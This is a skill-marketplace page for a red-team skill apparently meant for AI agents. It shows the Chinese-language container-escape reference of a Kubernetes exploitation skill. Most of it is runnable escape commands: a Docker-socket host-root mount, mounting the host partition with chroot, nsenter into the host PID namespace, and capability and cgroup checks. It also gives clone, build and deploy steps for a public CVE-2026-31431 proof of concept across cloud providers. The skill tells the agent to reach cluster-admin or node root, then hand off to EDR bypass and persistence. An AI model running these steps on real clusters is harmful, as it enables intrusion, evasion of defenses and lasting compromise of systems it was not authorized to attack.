pale-knight/redteam-skill / skills/k8s
k8s
FlaggedKubernetes and container exploitation: identity/RBAC, secrets, kubelet/etcd, managed-cloud workload identities, container-to-node escape including CVE-2026-31431 Copy Fail, and Kubernetes-native persistence. Use when already in a Pod/container or holding kubeconfig. Own the chain to cluster-admin, node root, or a usable cloud identity. Operator chooses next modules. Endpoint blocks after OS execution hand off to /edr-bypass then return.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 5.1 KB |
| references/cloud-identity.md | markdown | 1.8 KB |
| references/container-escape.md | markdown | 4.5 KB |
| references/k8s-persistence.md | markdown | 3.8 KB |
| references/k8s-tools.md | markdown | 1.8 KB |
| references/rbac-abuse.md | markdown | 3.1 KB |
| references/vulnerability-intelligence.md | markdown | 675 B |
references/container-escape.md
View on GitHub# Container → Node Escape
按**当前暴露原语**而不是固定漏洞清单选择路径。
## 1. 环境基线
```bash
id
uname -a
cat /etc/os-release
cat /proc/1/cgroup
mount
cat /proc/self/status | grep -E 'Cap(Inh|Prm|Eff|Bnd)'
capsh --print 2>/dev/null
ls -l /var/run/docker.sock /run/containerd/containerd.sock /var/run/crio/crio.sock 2>/dev/null
```
## 2. Docker socket
条件:可读写 `/var/run/docker.sock` 且宿主 Docker 接口可用。
```bash
docker ps
```
授权靶场可启动挂载宿主根目录的容器验证:
```bash
docker run --rm -it -v /:/host alpine chroot /host /bin/sh
```
成功:命名空间/文件系统确认已进入 host context。
## 3. containerd / CRI socket
检查:
```bash
ls -l /run/containerd/containerd.sock /var/run/crio/crio.sock 2>/dev/null
which crictl ctr nerdctl 2>/dev/null
```
能访问 socket 时先枚举容器/镜像;具体 create/run 命令随 runtime/CRI 版本变化,优先使用当前工具 `--help`,不要硬套 Docker CLI。
## 4. privileged + devices
```bash
fdisk -l 2>/dev/null
lsblk
```
如果宿主块设备可见且拥有 mount 权限:
```bash
mkdir -p /mnt/host
mount /dev/<HOST_PARTITION> /mnt/host
chroot /mnt/host /bin/sh
```
## 5. hostPath
如果 `/`、`/etc`、`/var/lib/kubelet`、runtime socket、`/root` 等宿主路径已挂载,先判断读/写能力。
```bash
mount | grep -E 'host|kubelet|docker|containerd'
```
可写宿主路径可能直接形成 Node 控制,不需要 kernel exploit。
## 6. hostPID
```bash
ps aux
ls -l /proc/1/ns
```
如果容器看到宿主 PID namespace 且拥有足够 capability:
```bash
nsenter -t 1 -m -u -i -n -p /bin/sh
```
## 7. Dangerous capabilities
常见:
```text
CAP_SYS_ADMIN → mount / namespace / many kernel surfaces
CAP_SYS_PTRACE → process inspection/injection if namespace permits
CAP_SYS_MODULE → kernel module loading if host context permits
CAP_DAC_READ_SEARCH / DAC_OVERRIDE → host-mounted file access
CAP_NET_ADMIN / NET_RAW → network attack surface, not automatic escape
```
Capability 是条件,不等于必然逃逸。
## 8. cgroup release_agent
旧 cgroup v1 `release_agent` 技术是**版本/配置 gated**;现代 cgroup v2/修复环境不要默认可用。
先判断:
```bash
mount | grep cgroup
cat /proc/filesystems | grep cgroup
```
只有确认 cgroup v1 + writable release_agent path + required capability 时才考虑旧链。
## 9. CVE-2026-31431 Copy Fail
### 状态
Linux kernel 漏洞;Kubernetes cross-workload PoC 存在,但不是任意 Pod 通杀。
前置至少确认:
```text
节点 kernel / distro 未修复
AF_ALG 路径可用
能够运行攻击容器
PoC 所需共享镜像层/目标 privileged DaemonSet 条件存在
provider/runtime 条件匹配
```
### 版本门控
```bash
uname -r
cat /etc/os-release
```
根据 Ubuntu/Red Hat/云厂商安全公告判断 patched kernel,不能仅用上游版本号猜测。
### 公开 PoC
```bash
git clone https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC
cd Copy-Fail-CVE-2026-31431-Kubernetes-PoC
make build
make docker-build
```
推送自己的镜像后按 provider:
```bash
make docker-push IMAGE=ghcr.io/<you>/copy-fail-poc TAG=latest
kubectl apply -f deploy/poc.yaml # ACK/upstream 示例
kubectl apply -f deploy/poc-eks.yaml # EKS 示例
kubectl apply -f deploy/poc-gke.yaml # GKE 示例
```
必须先阅读仓库当前 README / manifests,确认目标镜像、DaemonSet、node affinity 与 provider 条件。
### 成功判断
公开 PoC 目前使用类似结果文件证明 node-context execution;以当前仓库 README 为准,不把固定路径写成跨版本保证。
### 清理
```bash
kubectl delete -f deploy/poc.yaml 2>/dev/null || true
kubectl delete -f deploy/poc-eks.yaml 2>/dev/null || true
kubectl delete -f deploy/poc-gke.yaml 2>/dev/null || true
```
同时按 PoC README 清理 node 上的结果文件/被重启 workload。
## 10. Runtime / Kernel CVE 原则
对于 runC/containerd/kernel 新漏洞:
```text
先 fingerprint runtime/kernel
→ 查官方 advisory / release notes
→ 确认 affected range
→ 确认当前容器前置条件
→ 再选稳定 PoC
```
不根据“某 CVE 很新”直接尝试。
## 11. Node root 后
Node root 成功只是 K8s/Container 提权结果。
```text
候选:
- 继续 /k8s 做 cluster credential/control-plane 分析
- /post 做 host OS persistence/C2
```
由操作者选择。
## Sources
- Copy Fail PoC: https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC
- badPods: https://github.com/BishopFox/badPods
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |